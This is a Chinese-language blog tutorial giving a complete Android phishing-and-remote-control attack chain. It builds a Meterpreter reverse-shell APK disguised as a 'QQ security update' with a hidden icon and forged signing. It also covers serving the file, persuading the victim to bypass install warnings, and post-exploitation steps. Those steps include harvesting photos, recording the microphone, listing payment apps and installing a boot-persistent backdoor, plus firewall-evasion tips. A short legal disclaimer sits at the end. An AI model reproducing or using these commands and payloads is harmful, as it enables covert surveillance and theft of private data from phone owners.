安卓 WiFi 钓鱼渗透测试全流程教程(详细版)

一、核心目标

通过社会工程学伪装 + WiFi 钓鱼 + 安卓木马远控,模拟真实渗透场景,实现对安卓手机的远程控制,掌握从 "陷阱搭建→诱捕下载→权限突破→持久化控制" 的完整渗透链路。

二、环境准备

1. 硬件 / 系统要求

  • Kali Linux(任意版本,推荐 2023+):需安装metasploit-frameworkapache2setoolkit
  • 安卓手机(靶机):Android 9+(越高版本越贴近真实环境,需关闭纯净模式 / 安装监控);
  • 网络环境:Kali 与手机处于同一局域网(WiFi),Kali IP 固定为10.205.105.150(根据实际修改)。

2. 预装工具检查

bash

运行

复制代码
# 安装/检查核心工具
apt update && apt install -y metasploit-framework apache2 setoolkit
# 启动metasploit数据库(可选,提升稳定性)
systemctl start postgresql
msfdb init

三、完整操作流程

阶段 1:SEToolkit 构建钓鱼木马(社会工程学伪装)

1. 启动 SEToolkit

bash

运行

复制代码
setoolkit
2. 选择攻击模式(鱼叉式钓鱼)

bash

运行

复制代码
1) Social-Engineering Attacks  # 社会工程学攻击
1) Spear-Phishing Attack Vectors  # 鱼叉式钓鱼
2) Create a FileFormat Payload  # 生成文件格式载荷
3. 配置木马参数
  • 选择载荷:2) Android Reverse TCP Meterpreter(安卓反向远控);
  • 监听 IP:直接回车(默认10.205.105.150,Kali 的局域网 IP);
  • 监听端口:直接回车(默认 443,伪装 HTTPS 流量,穿透性强);
  • 重命名木马:选2) Rename the file,输入QQ_Security_Update.apk(伪装成 QQ 安全更新,降低警惕);
  • 退出邮件发送环节:选99) Return to main menu(局域网测试无需邮件)。
4. 定位并迁移木马文件

bash

运行

复制代码
# 查找生成的木马文件
find /root/.set/ -name "QQ_Security_Update.apk"
# 复制到Apache根目录(供手机下载)
cp /root/.set/QQ_Security_Update.apk /var/www/html/

阶段 2:修复木马兼容性(解决解析 / 安装报错)

1. 重新生成适配安卓的木马(解决架构不兼容)

SEToolkit 生成的木马可能存在架构问题,手动用msfvenom重构:

bash

运行

复制代码
msfvenom -p android/meterpreter/reverse_tcp \
LHOST=10.205.105.150 \
LPORT=443 \
-o /var/www/html/QQ_Security_Update.apk \
--platform android \
-a dalvik \  # 安卓专属架构,替代arm(避免兼容性报错)
AndroidMeterpreter::Options::HideAppIcon=true \  # 无图标隐蔽性强
--signer-key /usr/share/metasploit-framework/data/android/testkey \  # 加签名,骗过安卓校验
--align 4  # 优化APK结构,避免解析失败
2. 启动 Web 服务(供手机下载)

bash

运行

复制代码
# 启动Apache并设置开机自启
service apache2 start
systemctl enable apache2

阶段 3:Metasploit 启动监听(搭建远控接收端)

bash

运行

复制代码
# 启动msfconsole(静默模式,无冗余输出)
msfconsole -q

# 配置监听器
use exploit/multi/handler  # 选择多载荷监听器
set PAYLOAD android/meterpreter/reverse_tcp  # 与木马载荷一致
set LHOST 0.0.0.0  # 监听所有网卡(避免局域网IP限制)
set LPORT 443  # 与木马端口一致
run  # 启动监听,等待手机上线

成功标志:终端显示[*] Started reverse TCP handler on 0.0.0.0:443

阶段 4:手机端诱捕下载(社会工程学落地)

1. 手机权限配置(突破安卓安装限制)
  • 打开设置→应用管理→下载用的浏览器(如 Chrome)→权限→开启 "安装应用";
  • 设置→安全→开启 "未知来源安装""外部来源应用下载";
  • 关闭品牌机专属限制:小米 / 华为需关闭 "纯净模式",vivo/OPPO 关闭 "安装监控"。
2. 手机下载并安装木马
  • 打开浏览器,输入http://10.205.105.150/QQ_Security_Update.apk
  • 下载完成后,通过 "文件管理器→下载文件夹" 手动安装(避免浏览器拦截);
  • 安装时忽略 "风险提示",点击 "继续安装"(社会工程学关键:让用户误以为是官方更新)。

阶段 5:Meterpreter 远控操作(突破安卓权限限制)

1. 基础验证(确认控制权)

手机安装完成后,Kali 的 msfconsole 会显示:

text

复制代码
[*] Sending stage (72508 bytes) to 10.205.105.xxx
[*] Meterpreter session 1 opened (10.205.105.150:443 -> 10.205.105.xxx:xxxx)

进入meterpreter >提示符,代表控制成功。

2. 核心操作(适配安卓高版本)
功能 失效快捷命令 替代有效命令(安卓底层 Shell) 说明
手机震动 vibrate shell → am broadcast -a android.intent.action.VIBRATE 调用安卓系统 API,必生效
查看手机信息 sysinfo shell → getprop ro.product.model / getprop ro.build.version.release 查看型号 / 系统版本,比 sysinfo 更全
查看已装 APP app_list -a shell → pm list packages | grep -E "wechat qq alipay" 筛选微信 / QQ / 支付宝等关键 APP
下载照片 无直接命令 exit → download /sdcard/DCIM/Camera/[照片名].jpg/root/ 先退出 shell,下载相册照片到 Kali
截图 screenshot 重新生成木马时去掉 HideAppIcon=true,启动 APP 后再输 screenshot 无图标木马无 UI 权限,有图标木马可截图
摄像头调用 webcam_snap 同上(需有图标 + 用户授权摄像头) 安卓高版本会弹权限提示,实战需社工骗授权
录音 record_mic -d 10 record_mic -d 10(直接生效) 录音文件会保存到 Kali 的 /root 目录,可播放
3. 持久化控制(开机自启后门)

废弃的persistence脚本替代方案:

bash

运行

复制代码
# 在meterpreter中执行
run post/android/manage/startup_persistence -M broadcast -P 4444 -R 10.205.105.150
  • -M broadcast:注册为安卓开机广播接收器;
  • -P 4444:备用监听端口(避免 443 冲突);
  • -R:Kali 的 IP,手机重启后自动回连。

四、常见问题与解决方案

报错现象 原因 解决方案
cat: /root/.bash_history: 没有那个文件或目录 Kali 新版默认用 zsh,历史记录在.zsh_history 改用cat ~/.zsh_history > 文件名.txt或通用命令history > 文件名.txt
cp: 调用 stat 失败:不是目录 木马文件路径错误 find命令确认真实路径,再复制
解析包出现问题 木马架构不兼容 msfvenom重新生成,指定-a dalvik
应用未安装 安卓签名校验 / 权限不足 --signer-key签名,开启浏览器 "安装应用" 权限,关闭纯净模式
screenshot 无返回数据 无图标木马无 UI 权限 去掉HideAppIcon=true,生成有图标木马并前台运行
persistence 脚本找不到 安卓端脚本废弃 改用run post/android/manage/startup_persistence

五、实战核心要点

  1. 端口选择:优先用 443(HTTPS),其次 80(HTTP),避免 4444 等特征端口(易被防火墙拦截);
  2. 伪装技巧:木马命名需贴合场景(如 "WiFi 加速器.apk""系统更新.apk"),降低用户警惕;
  3. 权限突破 :安卓 10 + 的隐私权限需通过 "路径读取"(如/data目录)或 root 提权,社工授权是关键;
  4. 隐蔽性平衡:无图标木马隐蔽但功能受限,有图标木马功能全但易被发现,实战按需选择;
  5. 持久化:安卓开机自启后门需结合广播接收器 / 系统服务,避免用户卸载后失去控制。

六、合规声明

本教程仅用于合法授权的渗透测试演练,禁止用于任何未授权的攻击行为。操作前需取得目标设备的明确授权,遵守《网络安全法》等法律法规,违者自负法律责任。


关键复盘

  1. 整个流程核心是 "社会工程学 + 技术伪装":用 "QQ 安全更新" 骗下载,用 443 端口骗防火墙,用签名骗安卓校验;
  2. 安卓高版本的权限限制是最大卡点,底层 Shell(shell命令)是突破限制的万能入口;
  3. 实战中 "能拿到控制权" 比 "能调用摄像头 / 截图" 更重要,持久化后门是渗透的最终目标。
相关推荐
baidu_247438612 小时前
Android ViewModel定时任务
android·开发语言·javascript
有位神秘人2 小时前
Android中Notification的使用详解
android·java·javascript
·云扬·3 小时前
MySQL Binlog落盘机制深度解析:性能与安全性的平衡艺术
android·mysql·adb
独自破碎E4 小时前
【BISHI9】田忌赛马
android·java·开发语言
代码s贝多芬的音符5 小时前
android 两个人脸对比 mlkit
android
darkb1rd7 小时前
五、PHP类型转换与类型安全
android·安全·php
gjxDaniel7 小时前
Kotlin编程语言入门与常见问题
android·开发语言·kotlin
csj507 小时前
安卓基础之《(22)—高级控件(4)碎片Fragment》
android
峥嵘life8 小时前
Android16 【CTS】CtsMediaCodecTestCases等一些列Media测试存在Failed项
android·linux·学习
stevenzqzq9 小时前
Compose 中的状态可变性体系
android·compose